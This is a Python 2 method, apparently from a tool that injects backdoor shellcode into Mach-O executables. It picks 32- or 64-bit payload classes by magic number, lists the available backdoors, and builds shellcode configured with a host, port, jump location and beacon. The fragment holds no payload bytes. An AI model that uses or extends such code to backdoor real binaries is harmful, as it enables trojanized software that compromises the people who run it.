'This function sets the shellcode.'

def set_shells(self, MagicNumber):

    print '[*]    Looking    for    and    setting    selected    shellcode'
    avail_shells = []
    self.bintype = False
    if (MagicNumber == '0xfeedface'):
        self.bintype = macho_intel32_shellcode
    elif (MagicNumber == '0xfeedfacf'):
        self.bintype = macho_intel64_shellcode
    if (not self.SHELL):
        print 'You    must    choose    a    backdoor    to    add:    '
        for item in dir(self.bintype):
            if ('__' in item):
                continue
            elif (('returnshellcode' == item) or ('pack_ip_addresses' == item) or ('eat_code_caves' == item) or ('ones_compliment' == item) or ('resume_execution' in item) or ('returnshellcode' in item)):
                continue
            else:
                print '            {0}'.format(item)
        return False
    if (self.SHELL not in dir(self.bintype)):
        print ('The    following    %ss    are    available:' % str(self.bintype).split('.')[1])
        for item in dir(self.bintype):
            if ('__' in item):
                continue
            elif (('returnshellcode' == item) or ('pack_ip_addresses' == item) or ('eat_code_caves' == item) or ('ones_compliment' == item) or ('resume_execution' in item) or ('returnshellcode' in item)):
                continue
            else:
                print '            {0}'.format(item)
                avail_shells.append(item)
        self.avail_shells = avail_shells
        return False
    self.shells = self.bintype(self.HOST, self.PORT, self.jumpLocation, self.SUPPLIED_SHELLCODE, self.BEACON)
    self.allshells = getattr(self.shells, self.SHELL)()
    self.shellcode = self.shells.returnshellcode()
    return self.shellcode
